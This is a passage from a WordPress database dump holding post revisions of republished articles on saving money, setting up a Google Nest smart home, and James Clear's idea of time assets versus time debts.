/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While you\'re unlikely to earn lots of money from them,&nbsp;money-making apps&nbsp;can help you earn some money, and the tasks they offer don\'t usually require much from you except for time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Freelancing is more likely to provide a strong extra income stream, but can be inconsistent and might require more investment from you. There are several online freelancing platforms you can use to get started, like Fivver and Upwork. Similarly, gig economy apps like Uber or TaskRabbit could provide an extra income stream, but also frequently require you to provide your own equipment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Selling unused items</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can use apps like Depop, Poshmark, or&nbsp;Facebook Marketplace to sell&nbsp;things you already have but don\'t need. Keep in mind that apps like this sometimes charge a fee to use them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If selling your stuff online doesn\'t appeal to you, you could throw a garage sale to get rid of things you don\'t need anymore.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"6.-utilizing-savings-tools\"><strong>6. Utilizing savings tools</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>High-yield savings accounts</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>High-yield savings accounts are similar to&nbsp;regular savings accounts&nbsp;that you\'d find at brick-and-mortar banks, but they offer more competitive interest rates. Putting your money in a high-yield savings account is a great way to make money off of your savings without risk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The best savings account option for you will likely depend on when you\'ll need to access your money. Savings accounts typically have a cap on how many times you can withdraw your cash per month, although some don\'t. While it can be inconvenient to not have access to your money at any time, this can also be a perk if you don\'t want to be tempted to dip into your savings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For money you need access to more regularly, a&nbsp;checking account&nbsp;is a better choice. You probably won\'t get as good an interest rate — most checking accounts don\'t earn interest at all — but you\'ll have much easier access to your money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"The majority of your&nbsp;direct deposits&nbsp;may go into there so that you can pay your car payment, rent, mortgage, whatever the various bills that you need to pay,\" explains Dixon.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Certificates of deposit</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Like high-yield savings accounts,&nbsp;CDs&nbsp;are all interest-earning bank accounts that can help grow your money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CDs are different from high-yield savings accounts&nbsp;in two key ways. First, you generally can\'t withdraw money from your CD after you put it in. CDs last for a specific length of time, referred to as its \"term length,\" and you generally only get access to your money again at the end of that term length. Second, while savings accounts have a variable interest rate that can change at any time, CD rates are generally fixed, and will stay the same for however long your term length is.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Certificates of deposit&nbsp;are great for saving for specific long-term goals, especially if you know how long you want to save for. They\'re also good for ensuring you keep a good interest rate for a long time. However, if interest rates rise after you open a CD, you might be stuck with a worse interest rate than you would have with a savings account.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Automated savings plans</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Automating your savings can be a great way to ensure you\'re always making progress on your savings goals. Stanley recommends setting up an automatic transfer from your checking account to a high-yield savings account after each paycheck. That way, you won\'t forget and accidentally overspend money you were planning on saving.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By assessing your income and expenses, making and sticking to budget, and making use of different financial tools, you\'ll be able to save money and start building towards your financial goals. If you follow these tips, you can start saving for the future, even if you don\'t think you have much money to set aside.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.businessinsider.com/personal-finance/how-to-save-money\">click here.</a></p>\n<!-- /wp:paragraph -->','How to save money effectively: 6 smart savings strategies','','inherit','closed','closed','','4040-revision-v1','','','2024-06-08 00:08:05','2024-06-08 00:08:05','',4040,'https://smartinsurance.tips/?p=4129',0,'revision','',0),(4130,1,'2024-06-08 00:08:51','2024-06-08 00:08:51','','Untitled-3','','inherit','closed','closed','','untitled-3-3','','','2024-06-08 00:08:51','2024-06-08 00:08:51','',4043,'http://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-3.png',0,'attachment','image/png',0),(4131,1,'2024-06-08 00:08:55','2024-06-08 00:08:55','<!-- wp:paragraph -->\n<p>How to set up a connected, automated, and secure smart home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4130,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-3-1024x1024.png\" alt=\"\" class=\"wp-image-4130\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>The biggest choice when figuring out how to set up a smart home may be where to begin.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Turning your home into a connected space can have loads of benefits for most households – making the day run more smoothly, staying connected to one another, helping save energy, and keeping your home safe and secure. And most devices are easy to set up with Fast Pair for Matter devices, so creating a smart home is simpler than you might expect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Cook family’s smart home started with a gift. John Cook wanted his wife to have an easy way to listen to music when she was getting ready for the day. So he got her a&nbsp;Nest Audio speaker, which has&nbsp;Google Assistant&nbsp;built in, to let her use her voice to play music. Soon, the whole family was asking Google for the weather and news instead of reaching for their phones.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Shortly after, the Cooks bought a&nbsp;Nest Hub Max&nbsp;for the kitchen and then added more speakers throughout the house. They topped it off with a&nbsp;Nest Thermostat, a smart lock and doorbell, and more.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“At the beginning, you go, ‘Wow, this is really cool,’ but then after a while it’s part of your daily life,” Cook says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s how to choose the Google devices that are right for you, connect them with other products, and automate your home with confidence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"fontSize\":\"large\"} -->\n<p class=\"has-large-font-size\"><strong>Turning your household into a smart home makes the day run more smoothly, keeps you connected to one another, helps save energy, and keeps your home safe and secure.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Getting started: Is your wireless internet strong enough?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First things first: The foundation of any smart home is strong and secure Wi-Fi that blankets the space and keeps smart home devices running smoothly. If you’re not sure whether your signal is sufficient, use this&nbsp;speed test&nbsp;to find out whether you need to boost your Wi-Fi with&nbsp;Nest Wifi or&nbsp;Nest Wifi Pro. They work by pairing a router with points around the house, increasing your network’s strength and reducing dead zones.&nbsp;As you add devices, use the speed test to make sure your connection remains stable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Choosing and setting up devices</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once you know your internet can support your smart home, building it out is easier than ever thanks to&nbsp;Matter and Thread. Matter is a new universal language for smart home devices that ensures they work better together, while Thread improves the connections between them.&nbsp;Automations keep daily life on track</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp;smart home&nbsp;can take care of tasks, running home automations that are tailored to you. Automations extend how you use your Google devices, helping you run your home seamlessly through your&nbsp;Nest Hub (2nd gen),&nbsp;Google Pixel Tablet, or other devices.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Automations&nbsp;set up through the&nbsp;Google Home app&nbsp;can work with thousands of compatible devices. Here are some ways automations can help you get more done and have fun:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Let the devices handle basic tasks</strong>. Your smart home can help start your day off right. Create an automation that turns on your coffee maker every day at 7 AM with a compatible smart switch and sets an alarm for an early morning workout. When you head out for an afternoon break, automatically send your robot vacuum out to clean your floors. While everyone’s away, your devices can sweep up so you return to a tidy home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Help save energy</strong>. The&nbsp;Nest Thermostat&nbsp;and&nbsp;Nest Learning Thermostat&nbsp;are packed with proven energy-saving features, turning down when you’re away so you don’t waste energy on an empty home.&nbsp;Nest thermostats are designed to work in most homes without a C wire. And this&nbsp;compatibility checker&nbsp;can help you determine if your heating and cooling system will work with a Nest thermostat based on your existing thermostat wiring. If a Nest thermostat is compatible with your home,&nbsp;installation usually takes 60 minutes or less&nbsp;with a video guide.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Keep your home comfortable</strong>. With a Matter temperature sensor, your smart home can automatically open or close your compatible smart blinds based on your indoor temperature.&nbsp;As the day progresses, your home helps you stay cool.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Turn devices on or off if you forget</strong>. Motion sensors can prompt connected lights to turn off after a certain amount of time – like in the garage after you’ve brought in the groceries.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Set up a series of events</strong>. You can also set “device starters” that know what you plan to do when you turn on one smart home device. For example, with a voice command to turn on the TV, a set of actions can also include turning on the lights, setting them to yellow, and dimming the brightness to 50%. A doorbell ring can also serve as a starter:&nbsp; Set the speaker volume to 50% when it rings, and the porch lights to turn on if it’s after 7 PM. You can also set schedules according to your daily needs and&nbsp;routines.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Maintain your lawn and garden so it’s always ready for guests.</strong>&nbsp;Whether you’re planning a summer cookout or hosting family and friends for a soiree, the Google Home app can ensure your yard is always ready to entertain. Set a weekly schedule for your smart sprinkler and set up an announcement on your speaker for when the sprinkler is done.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Keep your home safe and secure</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Smart home devices give you peace of mind by providing an extra eye around the house. Automations will help you take security to the next level.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>See what’s going on inside and outside your home.</strong>&nbsp;The combination of&nbsp;Nest Cams&nbsp;and a&nbsp;Nest Doorbell&nbsp;can let you know that everything is fine at home. The doorbells have a 16:9 view, letting you see visitors or packages head to toe. Use this&nbsp;doorbell compatibility test&nbsp;to see if the battery or wired doorbell is right for you. Nest Cams have you covered for any other areas of interest inside the home or out. Some popular spots are back and side doors, pathways, and hallways.<br><br>Consider adding a&nbsp;Nest Aware subscription&nbsp;that will store video picked up by the doorbell and cameras. And if you’re elsewhere in the house, where it’s hard to hear the doorbell? Nest Mini and other speakers can be paired with the Nest Doorbell to send the sound throughout the house.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Unlock (and lock) your home remotely.</strong>&nbsp;At the Cook house, the&nbsp;Nest x Yale Lock&nbsp;on the front door locks automatically after five minutes in case someone forgets.&nbsp;You can also create passcodes and get alerts any time the door is unlocked. The lock fits in the same space as most traditional deadbolts and connects to Wi-Fi and the Google Home app through&nbsp;Nest Connect, a dedicated Wi-Fi bridge that you purchase with the lock. You can use the same Nest Connect if you decide to add more locks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Know immediately when smoke or CO becomes a problem.</strong>&nbsp;Nest Protect&nbsp;monitors smoke and carbon monoxide levels and connects to the Google Home app, where you can check the battery level. The 5x5-inch device tests itself automatically (400 times a day), knows the difference between smoke and steam, lights your way at night, and&nbsp;lasts up to a decade. Create an automation through the Google Home app to have your smart lights turn red and flash, and your Nest Audio speaker increase its volume to 90% to alert you.&nbsp;How many will you need? The National Fire Protection Association and the Consumer Product Safety Commission&nbsp;advise&nbsp;installing alarms around sleeping areas, in stairwells, and in other important areas in your home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Automate safety.</strong>&nbsp;Create an automation that connects your&nbsp;Nest Doorbell&nbsp;to conditions such as “between 6 PM and 10 PM,” turning your porch lights on automatically each night. And in the morning, your shades and curtains can routinely open when your outdoor lights turn off.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Keep an eye on your home at all times</strong>. Through the Google Home app, set&nbsp;Home and Away automations&nbsp;so your Nest Cam can notify you if motion is detected when no one is home. Your&nbsp;Pixel Watch&nbsp;can pick up the camera’s live video stream for easy viewing right from your wrist. And when you return, your indoor cameras can turn off automatically.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Level up your entertainment</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are so many movies, TV shows, and songs to choose from. Smart speakers and streamers make it easier to find the ones you want, then watch or listen wherever you’d like.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While Nest Audio makes it easy to hear your favorite music on demand, and Nest Hub Max (2nd gen) lets you stream videos, you can also bring it all together for movies and gaming.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Let the entertainment follow you from room to room, screen to screen</strong>. Using&nbsp;Chromecast with Google TV, you can start watching a movie and continue right where you left off when you go to another room, simply by moving the stream to a different device – from the TV in the family room to the Nest Hub Max in the kitchen, for example.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Find shows quickly and easily</strong>. Just ask&nbsp;Chromecast with Google TV&nbsp;for the show or movie you want to watch.&nbsp;It learns from your viewing habits, pulling content from your streaming subscriptions onto one screen and making recommendations based on your subscriptions, viewing history, and content you own. It can also match your mood: Just say, “Show me some funny shows,” or “Show me a scary movie.” Want to watch something from your phone? Chromecast allows you to stream content from other devices connected through Bluetooth.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Create an audio system for your entire home</strong>.&nbsp;Nest Audio&nbsp;speakers provide powerful sound that responds to the acoustics of the rooms where they’re located. Link Spotify or YouTube Music to play your favorite songs.&nbsp;Two or more speakers will give you stereo sound, or sound from room to room.&nbsp;Nest Mini&nbsp;is a smaller option, good for smaller spaces or less immersive audio (think podcasts and doorbell chimes).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Enjoy a family movie night. </strong>By connecting smart lights to your Google Home app, you can build an immersive setting while watching a favorite flick. Select a specific color palette, or just soften the intensity to create a cozy and comfortable scene. With a starter such as “every Saturday at 8 PM” for a movie night, you can set an automation to dim the den lights, start the TV, and send an announcement to your family (through Nest speakers and displays) to grab their favorite snacks for movie time.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Starting small versus doing it all</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The best place to start setting up your smart home is wherever your need or interest is greatest. Over time, you’ll see how adding devices increases the benefits: A Nest Doorbell is a good way to keep tabs on the front door, and when you pair it with a smart lock, you’ll also be able to let someone in. A smart speaker provides help and entertainment on its own; pair it with smart lighting to create automations for the morning and evening that turn the lights on and off.&nbsp;And with Nest Hub Max or your Pixel Tablet, you get a central dashboard to manage and sync your devices.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When is a good time to start? Anytime. Some households have found that moving into a&nbsp;new home is a great opportunity to set up a smart home. And when you’re ready, automations can help expand your smart home by connecting your Google devices to thousands of others through Matter and Thread.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Want help? Bring in a pro.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most people set up their Nest devices easily using step-by-step audio instructions. But for homeowners who’d like extra help, professional installation through Google partners is available in the US for all Nest products purchased from the Google Store. Installers are background-checked and licensed, and they’re local to your area. You can&nbsp;book an installer through the Google Store.*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Getting started</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ready to get started? This checklist should help you get going:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Begin by considering which everyday challenges you’re trying to solve.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Explore Google’s connected home products and select your connected devices.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Download the Google Home app and sign in with your Google Account.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Plug in your devices and follow the setup instructions in the Google Home app.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you’d prefer expert assistance,&nbsp;book a professional installer.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Use the Google Home app or Nest Hub to manage compatible devices like smart thermostats, lights, and more with your voice.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Set up routines to automate your home and complete multiple actions at once.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://store.google.com/intl/en/ideas/articles/curious-about-smart-home-devices-start-here/\">click here.</a></p>\n<!-- /wp:paragraph -->','Curious about smart home devices? Start here.','','inherit','closed','closed','','4043-revision-v1','','','2024-06-08 00:08:55','2024-06-08 00:08:55','',4043,'https://smartinsurance.tips/?p=4131',0,'revision','',0),(4132,1,'2024-06-08 00:10:18','2024-06-08 00:10:18','','rsz_untitled_4','','inherit','closed','closed','','rsz_untitled_4','','','2024-06-08 00:10:18','2024-06-08 00:10:18','',4046,'http://smartinsurance.tips/wp-content/uploads/2024/06/rsz_untitled_4.png',0,'attachment','image/png',0),(4133,1,'2024-06-08 00:10:21','2024-06-08 00:10:21','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4132,\"sizeSlug\":\"full\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/rsz_untitled_4.png\" alt=\"\" class=\"wp-image-4132\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Late in his career, Steve Jobs famously drove his car without a license plate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There were all sorts of theories about why Jobs decided to drive without tags. Some people said he didn’t want to be tracked. Others believed he was trying to make a game of avoiding parking tickets. Jon Callas, a former computer security expert who worked for Apple, revealed a different reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to Callas, Steve Jobs discovered a loophole in the California vehicle registration laws. Anyone with a new car had up to six months to get a proper license plate for their new vehicle. During the first six months, however, you could simply drive the vehicle without a license plate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once he realized this, Jobs arranged a special leasing agreement with his Mercedes dealer so that every six months he would drop off his current car and receive a new Mercedes SL55 AMG to replace it. This meant that he never drove a car older than six months and he never had to go to the Department of Motor Vehicles to get a license plate.<a href=\"https://jamesclear.com/time-assets#\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After hearing the story, many people responded by saying something like, “I guess that’s what you do when you have a lot of money.” And, to be fair, it is true that this license plate strategy isn’t reasonable for most people on the planet. If you look deeper, however, you’ll notice that something else was happening: Steve Jobs was building a Time Asset.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"title_0\">Time Assets vs. Time Debts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most productivity strategies focus on short-term efficiency: how to manage your to-do list effectively, how to get more done each morning, how to shorten your weekly meetings, and so on. These are all reasonable ideas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We often fail to realize, however, that there are certain strategic choices that impact our time on a larger scale. These choices can be categorized as Time Assets or Time Debts, which are two concepts I learned from Patrick McKenzie.<a href=\"https://jamesclear.com/time-assets#\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>TIME ASSETS</strong>&nbsp;are actions or choices you make today that will save you time in the future.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Software is a classic example of a time asset. You can write a program one time today and it will run processes for you over and over again every day afterward. You pay an upfront investment of time and get a payoff each day afterward.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The car leasing system that Steve Jobs developed is another example of a time asset. It took him some time to find a loophole and arrange a repeatable leasing system, but his process rewarded him with additional time and less hassle every 6 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>TIME DEBTS</strong>&nbsp;are actions or choices you make today that will cost you additional time in the future.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Email is a time debt that most people participate in each day. If you send an email now, you are committing to reading the reply or responding with an additional message later. Every email you send creates a small debt that you have to pay back at a later time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not to say that all time debts are bad. Perhaps you enjoy serving on your school committee or volunteering with a local organization. However, when you make these commitments, you are also creating a time debt that you will have to pay at some point. Sometimes the debts we commit to are worth sacrificing for, many times they are not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"title_1\">Time Assets in Real Life</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I wrote down a short list of time assets and time debts for my business. Here are a few I came up with…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":6273} -->\n<figure class=\"wp-block-image\"><img src=\"https://jamesclear.com/wp-content/uploads/2014/11/time-assets-debts.jpg\" alt=\"Time Assets Time Debts\" class=\"wp-image-6273\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Assets</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Speaking. I can create a speaking page on my website that answers common questions and qualifies the right kind of people. This could include a descriptive Frequently Asked Questions section or a better sign up form. The goal of the system is to set clear expectations and answer common questions that I usually have to answer via email.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Accounting. By setting clear rules for my bookkeeper and accountant, we can develop a system for automatically tagging certain expenses and transactions each month, which minimizes the need for me to manually approve repeated transactions.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Scheduling. Booking calendar appointments, calls, and interviews requires a lot of email. Using software like&nbsp;ScheduleOnce&nbsp;eliminates this problem and lets people choose from a pre-selected list of available times.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Debts</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Email. The more email I answer, the more email I generate.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Comments. I like the comments on my site and I don’t plan on removing them. (I love hearing from you!) But every time I publish an article with a comments section, I’m creating a time debt that I have to pay back by approving and moderating comments.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Interviews. At first, I said yes to every interview that came my way. Today, I typically do 3 to 5 every week. Saying yes to every interview has become a time debt.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Low quality work. If you don’t edit your article now, you’ll have to fix the grammar later. If you write sloppy code now, you’ll have to debug it later. If you create a poor product in the beginning, you’ll have to service customers and process refunds later. Every low-quality piece of work is a time debt that you have to pay back. To quote John Wooden, “If you don’t have time to do it right, when will you have time to do it over?”</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"title_2\">A System For Your Time</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Systems are more important than goals, and Time Assets are a perfect example of why this is true. Each Time Asset that you create is a system that goes to work for you day in and day out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your schedule is filled with Time Debts, then it doesn’t matter how hard you work. Your choices will constantly put you in a productivity hole. However, if you strategically build Time Assets day after day, then you multiply your time exponentially.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Driving a car without a license plate might seem like an extreme way to save time, but it is also a level of strategic thinking that most people never embrace. This isn’t an approach that only works for Steve Jobs. It works for all of us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Time Debts need to be paid. Be careful how you choose them. Time Assets pay you over and over again. Spend more time creating them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://jamesclear.com/time-assets\">click here.</a></p>\n<!-- /wp:paragraph -->','A Different Way of Thinking About Productivity','','inherit','closed','closed','','4046-autosave-v1','','','2024-06-08 00:10:21','2024-06-08 00:10:21','',4046,'https://smartinsurance.tips/?p=4133',0,'revision','',0),(4134,1,'2024-06-08 00:10:49','2024-06-08 00:10:49','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4132,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/rsz_untitled_4.png\" alt=\"\" class=\"wp-image-4132\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Late in his career, Steve Jobs famously drove his car without a license plate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There were all sorts of theories about why Jobs decided to drive without tags. Some people said he didn’t want to be tracked. Others believed he was trying to make a game of avoiding parking tickets. Jon Callas, a former computer security expert who worked for Apple, revealed a different reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to Callas, Steve Jobs discovered a loophole in the California vehicle registration laws. Anyone with a new car had up to six months to get a proper license plate for their new vehicle. During the first six months, however, you could simply drive the vehicle without a license plate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once he realized this, Jobs arranged a special leasing agreement with his Mercedes dealer so that every six months he would drop off his current car and receive a new Mercedes SL55 AMG to replace it. This meant that he never drove a car older than six months and he never had to go to the Department of Motor Vehicles to get a license plate.<a href=\"https://jamesclear.com/time-assets#\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After hearing the story, many people responded by saying something like, “I guess that’s what you do when you have a lot of money.” And, to be fair, it is true that this license plate strategy isn’t reasonable for most people on the planet. If you look deeper, however, you’ll notice that something else was happening: Steve Jobs was building a Time Asset.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"title_0\">Time Assets vs. Time Debts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most productivity strategies focus on short-term efficiency: how to manage your to-do list effectively, how to get more done each morning, how to shorten your weekly meetings, and so on. These are all reasonable ideas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We often fail to realize, however, that there are certain strategic choices that impact our time on a larger scale. These choices can be categorized as Time Assets or Time Debts, which are two concepts I learned from Patrick McKenzie.<a href=\"https://jamesclear.com/time-assets#\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>TIME ASSETS</strong>&nbsp;are actions or choices you make today that will save you time in the future.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Software is a classic example of a time asset. You can write a program one time today and it will run processes for you over and over again every day afterward. You pay an upfront investment of time and get a payoff each day afterward.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The car leasing system that Steve Jobs developed is another example of a time asset. It took him some time to find a loophole and arrange a repeatable leasing system, but his process rewarded him with additional time and less hassle every 6 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>TIME DEBTS</strong>&nbsp;are actions or choices you make today that will 